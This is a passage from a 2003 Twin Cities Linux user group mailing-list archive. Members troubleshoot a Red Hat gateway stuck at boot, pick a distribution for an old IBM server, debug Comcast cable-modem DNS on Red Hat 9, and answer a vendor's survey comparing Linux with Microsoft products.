have no USB devices (that are plugged in externally, its from 1997 or so, so i dont think there is much chance for internal usb devices like a floppy) If i booted into single user mode, i could ctrl-c when it was trying to load the usb file system... then it dropped me into a run level 1 sh# prompt as root. The file system was read only, i couldn't make any changes to modules.conf (to take out anything usb) or do much at all. I tried to `init 3` or start other services by hand... no go. in the end, i dropped in a replacement box... id like to rescue the other box somehow, is it as all my monitoring software setup and just some other things setup (bind for internal use with an internal zone et al) Anyone have any suggestions on how to try and bring that box backup online? I was thinking of removing all non-essential drives and peripherals. Thanks for any tips. duncan _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From scot+tcluggen at thinkunix.net Fri Aug 15 17:06:34 2003 From: scot+tcluggen at thinkunix.net (Scot Jenkins) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] system dying... wont boot past usb filesystem In-Reply-To: ; from duncan@npohost.org on Fri, Aug 15, 2003 at 04:53:26PM -0500 References: Message-ID: <20030815170634.F27441@thinkunix.net> Duncan Shannon wrote: > Ive got my gateway at work, which is a beater 233mhz box running rh 7.x > i think its dying... or at a min. something is wrong. > > I logged in the other day on the console, and hit a `w` and it was > pretty slow... i logged in on another virt. console and it ran `top` > and it never quite loaded up all the way... i left it alone. > > Yesterday, i tried to ssh to it, i got an `error 11` and couldnt > connect. > > So i went up to look at it today, and there was what looked like a > kernel panic... it was something bad. couldn't do anything from ctrl c > to switch virtual consoles to reseting the terminal. > > I finally had to reboot it... when it booted up, it never got past > `mounting USB filesystem` are you sure it wasn't hacked? had you kept up with the latest patches and versions of software? > in the end, i dropped in a replacement box... id like to rescue the > other box somehow, is it as all my monitoring software setup and just > some other things setup (bind for internal use with an internal zone et > al) > > Anyone have any suggestions on how to try and bring that box backup > online? I was thinking of removing all non-essential drives and > peripherals. restore the necessary files from backups...you DO have backups right? -- scot _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clay at fandre.com Fri Aug 15 18:18:09 2003 From: clay at fandre.com (Clay Fandre) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products Message-ID: <20030815231809.GA18398@fandre.com> I was asked to forward this to the list. If you have time please take a minute to reply to Michael and explain why Linux is so great. Please reply to Linux@xcedex.com. ----- Forwarded message from Michael McGreevy ----- From: "Michael McGreevy" Subject: Looking for comments on Linux versus Microsoft products To: Date: Fri, 15 Aug 2003 16:00:07 -0500 Hello! I'm doing a survey on why Linux is having such success. I was wondering if a number of the users in your organization would share with me their comments and observations of Linux versus Microsoft products. Why are they using Linux? Is it just for financial reasons. Or are there other reasons, development, security etc... I'd appreciate it if some of the members in your organization would share their reasons with me. Best Regards, Michael McGreevy Vice President Xcedex Phone: 952-403-9881 Toll Free: 1-866-923-3397 Fax: 952-400-3087 E-mail: mmcgreevy@xcedex.com www.xcedex.com ----- End forwarded message ----- _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From webmaster at bnac.biz Fri Aug 15 19:04:51 2003 From: webmaster at bnac.biz (Webmaster) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] Potential Server... Message-ID: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> I just picked up an old IBM PC Server 330. Dual 266MHz PII's 128MB RAM (2 64MB EDO sticks, 2 slots availible, I have 4 sticks of untested 64MB) Onboard SCSI (not sure on type/speed) (2) 4.3GB SCSI HDs (in pull-out racks, have 2 racks, room for 4 more) Onboard LAN (10/100, I am quite sure) CD-ROM (don't know speed) BIOS ability to run: Monitorless, Keyboardless, Diskless ( Not sure what that means, I think floppy, but don't know) I also have 7 Seagate Cheatah 18.2GB 10k HDs, and a few various 18.2 and 9.1 HDs (mostly 18.2, and 10k) Would this work great for our server? Also, has anyone had any experience with these? *Puts on super-flame retardant suit* I tried to install Win2k on it ( I needed a quick fileserver) and it couldn't find the HDs...any help? I'm gonna give Linux a try on it...should I go RH or Mandrake? (I've got RH 9.0, and Mandrake 9.1) Which one (probably) has better support for this system? Thanks! Keith Bachman _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From spencer at autonomous.tv Fri Aug 15 19:18:20 2003 From: spencer at autonomous.tv (Spencer Butler) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] system dying... wont boot past usb filesystem In-Reply-To: References: Message-ID: <20030816001820.GJ12831@autonomous.tv> On Fri, Aug 15, 2003 at 04:53:26PM -0500, Duncan Shannon wrote: >Hey gang- > >Ive got my gateway at work, which is a beater 233mhz box running rh 7.x > >i think its dying... or at a min. something is wrong. > >I logged in the other day on the console, and hit a `w` and it was >pretty slow... i logged in on another virt. console and it ran `top` >and it never quite loaded up all the way... i left it alone. > >Yesterday, i tried to ssh to it, i got an `error 11` and couldnt >connect. > >So i went up to look at it today, and there was what looked like a >kernel panic... it was something bad. couldn't do anything from ctrl c >to switch virtual consoles to reseting the terminal. > >I finally had to reboot it... when it booted up, it never got past >`mounting USB filesystem` > >I have no USB devices (that are plugged in externally, its from 1997 or >so, so i dont think there is much chance for internal usb devices like >a floppy) > >If i booted into single user mode, i could ctrl-c when it was trying to >load the usb file system... then it dropped me into a run level 1 sh# >prompt as root. The file system was read only, i couldn't make any >changes to modules.conf (to take out anything usb) or do much at all. I >tried to `init 3` or start other services by hand... no go. > >in the end, i dropped in a replacement box... id like to rescue the >other box somehow, is it as all my monitoring software setup and just >some other things setup (bind for internal use with an internal zone et >al) > >Anyone have any suggestions on how to try and bring that box backup >online? I was thinking of removing all non-essential drives and >peripherals. I would certainly in the very least boot the machine into single user mode and run chkrootkit or the like on it, and inspect it for obvious signs of intrusion. You may also want to make sure you don't have some scripts starting at boot, or modules lodaing that you don't need to have (especially usb stuff). You can also boot the machine using a rescue disk such as knoppix and investigate the problem. Another advantage of booting from a rescue disk is you get to test the hardware to see if you can recreate the kernel paniks from a completely different environment. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20030815/5a8b5c66/attachment.pgp From kremer at ringworld.org Fri Aug 15 19:57:26 2003 From: kremer at ringworld.org (Justin Kremer) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] Potential Server... In-Reply-To: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> Message-ID: <9A6939FA-CF84-11D7-BA7A-000A957FC086@ringworld.org> I haven't had any experience with them, but apparently these guys have. http://www.linuxtested.com/results/ibmpc330-notes.html On Friday, August 15, 2003, at 07:04 PM, Webmaster wrote: > I just picked up an old IBM PC Server 330. > > Dual 266MHz PII's > 128MB RAM (2 64MB EDO sticks, 2 slots availible, I have 4 sticks of > untested 64MB) > Onboard SCSI (not sure on type/speed) > (2) 4.3GB SCSI HDs (in pull-out racks, have 2 racks, room for 4 more) > Onboard LAN (10/100, I am quite sure) > CD-ROM (don't know speed) > BIOS ability to run: > Monitorless, > Keyboardless, > Diskless ( Not sure what that means, I think floppy, but don't know) > > I also have 7 Seagate Cheatah 18.2GB 10k HDs, and a few various 18.2 > and > 9.1 HDs (mostly 18.2, and 10k) > > Would this work great for our server? > > Also, has anyone had any experience with these? > > *Puts on super-flame retardant suit* > > I tried to install Win2k on it ( I needed a quick fileserver) and it > couldn't find the HDs...any help? I'm gonna give Linux a try on > it...should I go RH or Mandrake? (I've got RH 9.0, and Mandrake 9.1) > Which one (probably) has better support for this system? > > Thanks! > > Keith Bachman > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 15 20:27:54 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] Potential Server... In-Reply-To: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> References: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> Message-ID: <3F3D889A.9050604@visi.com> That will be a sweet machine! :oD This is the link to the IBM Red Book for that series get the pdf you will need it. IBM Red Books are like technical manuals. http://www.redbooks.ibm.com/redbooks/SG244760.html Looks like it has an embedded raid controller in it The IBM PC Server 330 is a powerful full-tower system with Pentium Pro 200 MHz, Pentium II 233 MHz or 266 MHz processors. All models contain integrated PCI RAID Ultra SCSI controllers, 100/10 Mbps full-duplex PCI Ethernet controller, I?C bus, 64 MB ECC EDO memory and a PCI SVGA chip set. I have some EDD-EDO ram if you need it. If the untested ram is not ECC forget it. It wont hurt to test it. Test each chip on its own. the "pull-out racks" are hot swap trays Are all the disks you talked about in hot swap trays? If not your going to need to learn more about SCSI and you'll need more trays. You are going to need the configuration utilities, where ever you got the machine, ask if they have the CD's that came with it. This will have the raid configuration program you will need to use to install any OS. Using windows to get it up and running makes life a little easier if you haven't dealt with high end (but old) servers. In fact use DOS to get it to boot the first time, thats real easy. Webmaster wrote: >I just picked up an old IBM PC Server 330. > >Dual 266MHz PII's >128MB RAM (2 64MB EDO sticks, 2 slots availible, I have 4 sticks of >untested 64MB) >Onboard SCSI (not sure on type/speed) >(2) 4.3GB SCSI HDs (in pull-out racks, have 2 racks, room for 4 more) >Onboard LAN (10/100, I am quite sure) >CD-ROM (don't know speed) >BIOS ability to run: >Monitorless, >Keyboardless, >Diskless ( Not sure what that means, I think floppy, but don't know) > >I also have 7 Seagate Cheatah 18.2GB 10k HDs, and a few various 18.2 and >9.1 HDs (mostly 18.2, and 10k) > >Would this work great for our server? > >Also, has anyone had any experience with these? > >*Puts on super-flame retardant suit* > >I tried to install Win2k on it ( I needed a quick fileserver) and it >couldn't find the HDs...any help? I'm gonna give Linux a try on >it...should I go RH or Mandrake? (I've got RH 9.0, and Mandrake 9.1) >Which one (probably) has better support for this system? > >Thanks! > >Keith Bachman > > > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From smac at visi.com Fri Aug 15 20:30:14 2003 From: smac at visi.com (Sam MacDonald) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: <20030815231809.GA18398@fandre.com> References: <20030815231809.GA18398@fandre.com> Message-ID: <3F3D8926.5050704@visi.com> Hmmmm other then M$ sucks you mean! Clay Fandre wrote: >I was asked to forward this to the list. If you have time please take >a minute to reply to Michael and explain why Linux is so great. >Please reply to Linux@xcedex.com. > >----- Forwarded message from Michael McGreevy ----- > >From: "Michael McGreevy" >Subject: Looking for comments on Linux versus Microsoft products >To: >Date: Fri, 15 Aug 2003 16:00:07 -0500 > >Hello! > >I'm doing a survey on why Linux is having such success. I was wondering >if a number of the users in your organization would share with me their >comments and observations of Linux versus Microsoft products. Why are >they using Linux? Is it just for financial reasons. Or are there other >reasons, development, security etc... > >I'd appreciate it if some of the members in your organization would >share their reasons with me. > >Best Regards, > > >Michael McGreevy >Vice President >Xcedex >Phone: 952-403-9881 >Toll Free: 1-866-923-3397 >Fax: 952-400-3087 >E-mail: mmcgreevy@xcedex.com >www.xcedex.com > > >----- End forwarded message ----- > >_______________________________________________ >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota >http://www.mn-linux.org tclug-list@mn-linux.org >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clipperjohn at comcast.net Fri Aug 15 21:08:43 2003 From: clipperjohn at comcast.net (Comcast Mail) Date: Mon Jan 17 12:40:29 2005 Subject: [TCLUG] Comcast and Redhat 9 Message-ID: <002301c3639b$74ca46c0$4f842942@comcast.net> I'm having way to much fun. RCA Comcast modem: works fine. I can ping myself, and I can ping other ethernet addresses on the comcast network. ifconfig -a shows eth0 is up, it has an assigned IP address from comcast. but.... Mozilla will not get to the internet. I set up the security using "medium" security as default. I have some experience with cable modem in Boulder, CO, where I had to force feed the network with pump -i eth0 -h hostname (the hostname assigned by @home). I'm failing miserably at this point. ifup eth0 gives errors Determining IP information for eth0...iptables: No chain/target/match by that name done. iptables: Bad rule (does a matching rule exist in that chain?) iptables: Table does not exist (do you need to insmod?) iptables: No chain/target/match by that name iptables: Table does not exist (do you need to insmod?) iptables: No chain/target/match by that name NOTE: The system I built is for my parents. I'm attempting to turn them into a home linux users. They are upgrading from webtv to a Linux home system. Because the system resides at my parents, and I'm running out of time on this visit, I may not be able to immediately anything for a couple of weeks (upon my next return trip). However, I'm bound and determined to keep them off windows. Any help, or anyone with experiencing RedHat 9 kernel 2.4.20-6 and comcast would be greatly appreciated. Another note: Comcast was not much help with providing dns/gateway/ip address information for configuring the system. The install guy didn't have any of that information so I had to connect with a windows laptop to run winipcf to get some information. Thanks in anticipation, AlaskaJon -------------- next part -------------- An HTML attachment was scrubbed... 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Your ISP should have some handy for you to use, if not, I am sure the list can provide some assistance with that as well. > > I'm failing miserably at this point. naw, the Inet just needs a reboot ;) > > > Another note: Comcast was not much help with providing > dns/gateway/ip address information for configuring the system. The > install guy didn't have any of that information so I had to connect > with a windows laptop to run winipcf to get some information. Is your computer connet directly into the cable modem, or do you have a firewall between you and the cable modem? > > Thanks in anticipation, no, thank you :) good luck. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 -------------- next part -------------- A non-text attachment was scrubbed... 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Adam Maloney Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From clipperjohn at comcast.net Fri Aug 15 22:19:46 2003 From: clipperjohn at comcast.net (Comcast Mail) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] Comcast and Redhat 9 References: <002301c3639b$74ca46c0$4f842942@comcast.net> <20030816023055.GN12831@autonomous.tv> Message-ID: <007201c363a5$3ecbc080$4f842942@comcast.net> I cannot ping www.google.com. My resolve.conf contains comcast domain name servers, plus I included a non-comcast nameserver. The search portion of the /etc/resolv.conf reads search ce1.client2.attbi.com Where does that information come from? I don't have a fire wall between the cable modem and the eth0..... though it acts like there is. I'm not used to RedHat tools for configuration, and I'm used to doing all the files by hand while looking at a system in the same network. All my notes and cheatsheets are not with me, so I'm just bouncing around. Thanks again.... I'm just about ready to hit the road to return to Mpls and this system in a couple of weeks. AlaskaJon On Fri, Aug 15, 2003 at 09:08:43PM -0500, Comcast Mail wrote: > > I'm having way to much fun. me too, I'm drinking red stripe beer :) > > > ifconfig -a shows eth0 is up, it has an assigned IP address from > comcast. good, and you can ping an IP address such as 128.101.101.101? can you ping a hostname such as google.com? If you answered yes to the first and no the the second than you need to add some DNS servers to your /etc/resolv.conf file. Your ISP should have some handy for you to use, if not, I am sure the list can provide some assistance with that as well. > > I'm failing miserably at this point. naw, the Inet just needs a reboot ;) > > > Another note: Comcast was not much help with providing > dns/gateway/ip address information for configuring the system. The > install guy didn't have any of that information so I had to connect > with a windows laptop to run winipcf to get some information. Is your computer connet directly into the cable modem, or do you have a firewall between you and the cable modem? > > Thanks in anticipation, no, thank you :) good luck. -- Linux Administrator || Technology Specialist || Wifi Engineer http://autonomous.tv/~spencer/resume/ || spencer@autonomous.tv Key fingerprint = 173B 8760 E59F DBF8 6FD2 68F8 ABA2 AB08 49C7 4754 ----- Original Message ----- From: Spencer Butler To: Sent: Friday, August 15, 2003 9:30 PM Subject: Re: [TCLUG] Comcast and Redhat 9 _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From adamm at sihope.com Fri Aug 15 22:31:53 2003 From: adamm at sihope.com (Adam Maloney) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: <20030815231809.GA18398@fandre.com> Message-ID: It's not about the money. We've used BSD/OS (commercial BSD) for years. I don't find anything wrong with paying for software. As long as I'm getting value for my money. Our BSDI licenses are similarly priced to Microsoft, so I'm not paying any less versus running Windows. Linux is free, but the price is a small factor: Our decision was based on our experience and environment. ISP's have unique requirements for their servers. Managing servers is a big part of the job. I couldn't imagine hosting thousands of domains under 1 IIS box - what, I'm supposed to add new websites manually and then scroll through the entire list to make changes to 1 site? Just imagine if AOL had to get one of their sysadmins to add every new account (versus giving all of their frontline support folks Administrator access to their machines). With unix, you can write a script to add the account automatically. And you don't need to purchase a 3rd-party tool to do this - anyone with a few weeks of bash/perl experience can crank out this script in an hour. Imagine hosting thousands of websites, and having to mouse through the "Event Log" to find the error that one user is getting. If you're hosting a *LOT* of sites, this might be across multiple servers. During the Code Red attack, we configured our webservers to /dev/null any attempts to access the IIS infection points. This meant making a config change for each virtual server we hosted. This was 5 minutes of work in VI doing a global search and replace. This would have taken us days under Windows. Right click on the virtual host, choose properties. Click on the Logs button... Flat-file configs and logs, with a powerful and scriptable shell make an ISP profitable. Having access to the source is a huge benefit to many people - if you don't like something you can change it. Not having to worry about the BSA kicking down your door is nice too. Most importantly, remember this. Drugs finance terrorism, and teenagers do drugs. Bill's daughter will soon be a teenager. Therefore, BUYING MICROSOFT IS FINANCING TERRORISM. Do you really want to finance terrorism and kill innocent children and puppies. Puppies! Come on, everyone loves puppies! Won't anyone think of the puppies? On Fri, 15 Aug 2003, Clay Fandre wrote: > I was asked to forward this to the list. If you have time please take > a minute to reply to Michael and explain why Linux is so great. > Please reply to Linux@xcedex.com. > > ----- Forwarded message from Michael McGreevy ----- > > From: "Michael McGreevy" > Subject: Looking for comments on Linux versus Microsoft products > To: > Date: Fri, 15 Aug 2003 16:00:07 -0500 > > Hello! > > I'm doing a survey on why Linux is having such success. I was wondering > if a number of the users in your organization would share with me their > comments and observations of Linux versus Microsoft products. Why are > they using Linux? Is it just for financial reasons. Or are there other > reasons, development, security etc... > > I'd appreciate it if some of the members in your organization would > share their reasons with me. > > Best Regards, > > > Michael McGreevy > Vice President > Xcedex > Phone: 952-403-9881 > Toll Free: 1-866-923-3397 > Fax: 952-400-3087 > E-mail: mmcgreevy@xcedex.com > www.xcedex.com > > > ----- End forwarded message ----- > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list > Adam Maloney (has had too much caffiene) Systems Administrator Sihope Communications _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Fri Aug 15 23:02:44 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] Comcast and Redhat 9 References: <002301c3639b$74ca46c0$4f842942@comcast.net> Message-ID: <004e01c363ab$3f3fd050$0201a8c0@brinstar> Comcast Mail writes: > RCA Comcast modem: works fine. > I can ping myself, and I can ping other ethernet addresses on the > comcast network. Probably unrelated, but I had Comcast in Albuquerque in 2000 and never got it to work with the pump version that shipped with Debian at the time. I never had trouble with ISC's DHCP client. I suggest disabling your firewall entirely. Disable all services that are running on the external interface. Run any services you need on the loopback interface. Test this by using nmap on your external IP. To be safe, run it from a separate computer. Once you get the networking going you can enable the firewall. Don't trust your ISP's DNS caches. Large cable providers are notorious for not being able to reliably provide basic service such as DNS resolution and outgoing SMTP. I've heard bad things about Comcast DNS in other locations, but I wouldn't expect it to be any better here. (Related musing: I use Road Runner only for network connectivity and have been very impressed by their service. I am moving from Eden Prairie to St. Paul next week, and I am disappointed that I cannot continue my service with RR. They are by far the best broadband provider I have ever used.) Install your own DNS cache. This will assure that you always have reliable, reasonably secure DNS service. It is always possible for your upstream to forge DNS responses. But you don't have to worry about security holes in their DNS servers that allow an attacker to poison the cache. Follow these instructions to setup a local DNS cache: http://cr.yp.to/djbdns/install.html http://cr.yp.to/djbdns/run-cache.html If you are using ISC's DHCP client, use this in /etc/dhclient.conf: prepend domain-name-servers 127.0.0.1; request subnet-mask, broadcast-address, routers; Unfortunately, there is no option to tell dhclient not to touch /etc/resolv.conf, but this assures that it has the correct information. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From chewie at wookimus.net Fri Aug 15 23:52:16 2003 From: chewie at wookimus.net (Chad Walstrom) Date: Mon Jan 17 12:40:30 2005 Subject: Alert! Virus.Elipses (was Re: [TCLUG] system dying...) In-Reply-To: References: Message-ID: <20030816045216.GA6871@skuld.wookimus.net> Alert! To the members of the list, please be cautious when handling email sent to the list. It appears to contain highly infectious "elipses" in posters' grammar. What was once thought as a strange psychological disorder in one named Dan, has now reared it's vicious head in poor Duncan, here. (Parts of the post were snipped for brevety.) "i think its dying... [ snip ] pretty slow... [snip] way... [snip] ... [snip] ..." You have been warned! Please be cautious... You can never know when it'll strike next! OH $@%!@*&)*! It's got me... Arrrgg......... -- Chad Walstrom http://www.wookimus.net/ assert(expired(knowledge)); /* core dump */ -------------- next part -------------- A non-text attachment was scrubbed... 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The Comcast connection wizard is a Windows utility. I seem to remember a website that you can use instead of the wizard that will register you modem as well. Maybe give the tech support a call and mention that to them. _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From lxy at cloudnet.com Sat Aug 16 09:51:10 2003 From: lxy at cloudnet.com (Brian) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] Potential Server... In-Reply-To: <001001c3638a$07c2f600$6401a8c0@WORKBOOK> Message-ID: On Fri, 15 Aug 2003, Webmaster wrote: > I just picked up an old IBM PC Server 330. Sweet! > BIOS ability to run: > Diskless ( Not sure what that means, I think floppy, but don't know) Probably means it can run as a diskless workstation, but if it's got onboard SCSI, why would you? :-) > I also have 7 Seagate Cheatah 18.2GB 10k HDs, and a few various 18.2 and > 9.1 HDs (mostly 18.2, and 10k) Sweetness. Are you selling any by chance? :-) > Would this work great for our server? No. It'd be terrible. In fact, you shouldn't even be talking about it. Just bring it by house and leave it, I'll make sure it gets disposed of properly. > Also, has anyone had any experience with these? Similar models, yes. > I tried to install Win2k on it ( I needed a quick fileserver) and it > couldn't find the HDs...any help? When 2k install starts, it says press F6 to use a driver disk. You need to get a driver disk for the SCSI/RAID/whatever controller and tell Windows to use it to install. Check some of the other links posted in this thread. As new as 2K is, it has a lot of trouble with RAID and SCSI controllers that have been on the market for a long time. > I'm gonna give Linux a try on it...should I go RH or Mandrake? (I've > got RH 9.0, and Mandrake 9.1) Which one (probably) has better support > for this system? Redhat is probably the better choice, you may be limited a bit by the funky controller though. Grab a recent Redhat disc and give it a whirl. Note sure what else out there would have a good set of RAID/SCSI controllers. Good Luck! -Brian _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From bradyh at bitstream.net Sat Aug 16 10:54:32 2003 From: bradyh at bitstream.net (Brady Hegberg) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoft products In-Reply-To: <3F3D8926.5050704@visi.com> References: <20030815231809.GA18398@fandre.com> <3F3D8926.5050704@visi.com> Message-ID: <1061049271.1312.26.camel@orlando> Generally you can't do a lot with Linux unless you're an expert (so far). Example: Just installing my mom's printer (which even had a sticker of Tux on it!) involved logging in as root and changing permissions on files. But then Windows is very difficult to deal with if you get in trouble. And with Linux you have a huge number of powerful and free tools once you do become an expert. Want a database server? You can either order a copy of Windows Server and SQL Server. Figure out how many users you'll have. Shall out a few thousand bucks for new hardware and software. Wait a week or two for the CDs, hardware, etc. Install it...and then have a Microsoft Security Update blow away SQL Server and your database (which happened to a friend who works for a lawfirm in downtown Minneapolis a few months ago.) Or you can grab that old Pentium 300 gathering dust, install Redhat 9, download mySQL or PostGreSQL and voila...a couple of hours later you have a servicable database server that didn't cost a penny. Brady > Hmmmm other then M$ sucks you mean! > > Clay Fandre wrote: > > >I was asked to forward this to the list. If you have time please take > >a minute to reply to Michael and explain why Linux is so great. > >Please reply to Linux@xcedex.com. > > > >----- Forwarded message from Michael McGreevy ----- > > > >From: "Michael McGreevy" > >Subject: Looking for comments on Linux versus Microsoft products > >To: > >Date: Fri, 15 Aug 2003 16:00:07 -0500 > > > >Hello! > > > >I'm doing a survey on why Linux is having such success. I was wondering > >if a number of the users in your organization would share with me their > >comments and observations of Linux versus Microsoft products. Why are > >they using Linux? Is it just for financial reasons. Or are there other > >reasons, development, security etc... > > > >I'd appreciate it if some of the members in your organization would > >share their reasons with me. > > > >Best Regards, > > > > > >Michael McGreevy > >Vice President > >Xcedex > >Phone: 952-403-9881 > >Toll Free: 1-866-923-3397 > >Fax: 952-400-3087 > >E-mail: mmcgreevy@xcedex.com > >www.xcedex.com > > > > > >----- End forwarded message ----- > > > >_______________________________________________ > >TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > >http://www.mn-linux.org tclug-list@mn-linux.org > >https://mailman.real-time.com/mailman/listinfo/tclug-list > > > > > > > > > > _______________________________________________ > TCLUG Mailing List - Minneapolis/St. Paul, Minnesota > http://www.mn-linux.org tclug-list@mn-linux.org > https://mailman.real-time.com/mailman/listinfo/tclug-list _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From phptom at wordesign.net Sat Aug 16 11:09:35 2003 From: phptom at wordesign.net (PHPTOm) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] RH9 server issue In-Reply-To: Message-ID: Hello all, I have a red hat 9 box here at home. I am somewhat new to Linux. I rebooted this morning and I got this message: awk: cmd. line:2: fatal: Cannot open file '/proc/mounts/'for reading (No such file or directory) Couldn't open /proc/partitions: No such file or directory. Is /proc mounted? *** An error occurred during the file system check *** Dropping you into a shell Then I can log in as root and see all my directories. I just don't know where to start repairing the system. Any ideas/experience with this? TOm _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From david at acz.org Sat Aug 16 11:27:20 2003 From: david at acz.org (David Phillips) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] (fwd) Looking for comments on Linux versus Microsoftproducts References: <20030815231809.GA18398@fandre.com> <3F3D8926.5050704@visi.com> <1061049271.1312.26.camel@orlando> Message-ID: <001e01c36413$43fc72c0$0201a8c0@brinstar> Brady Hegberg writes: > Want a database server? You can either order a copy of Windows Server > and SQL Server. > [...] > Or you can grab that old Pentium 300 gathering > dust, install Redhat 9, download mySQL or PostGreSQL and > voila...a couple of hours later you have a servicable database server > that didn't cost a penny. MySQL and PosgreSQL are not related to Linux. You could also run them under FreeBSD, or under Solaris on a Sun box or under OS X on an Apple box. MySQL also runs on Windows. You should be asking about free software versus Microsoft products. Also, note that an "old Pentium 300" will not make a comparable database server to a modern system running SQL Server. Database servers with a reasonable amount of data need a lot of memory to be fast. They also need a fast CPU to process everything. Another thing is that the three database products mentioned have different feature sets and are not directly comparable. If you had said mail server, then you would be correct. The disk is the bottle neck in a mail server, not the CPU. -- David Phillips http://david.acz.org/ _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From nate at refried.org Sat Aug 16 11:29:29 2003 From: nate at refried.org (nate@refried.org) Date: Mon Jan 17 12:40:30 2005 Subject: [TCLUG] IdiotBen, RetardDan(?) In-Reply-To: <0399641989D32043BED5793CCC8F5CD54D3691@BPEXU1VM2.andersencorp.com> References: <0399641989D32043BED5793CCC8F5CD54D3691@BPEXU1VM2.andersencorp.com> Message-ID: <20030816162929.GA16043@refried.org> On Fri, Aug 15, 2003 at 07:53:41AM -0500, Lansing, Dan wrote: >> Heh, someone should buy Dan a beige bike helmet to wear to the next beer >> meeting. :) > > Haha!! The jokes on you!!! My wife doesn't let me go to the beer meetings!!! > :-) Tell her you're taking her out to dinner on a Friday night to a random new place. Then just sit down with the rest of us. :) Nate _______________________________________________ TCLUG Mailing List - Minneapolis/St. Paul, Minnesota http://www.mn-linux.org tclug-list@mn-linux.org https://mailman.real-time.com/mailman/listinfo/tclug-list From kcbnac at bnac.biz Sat 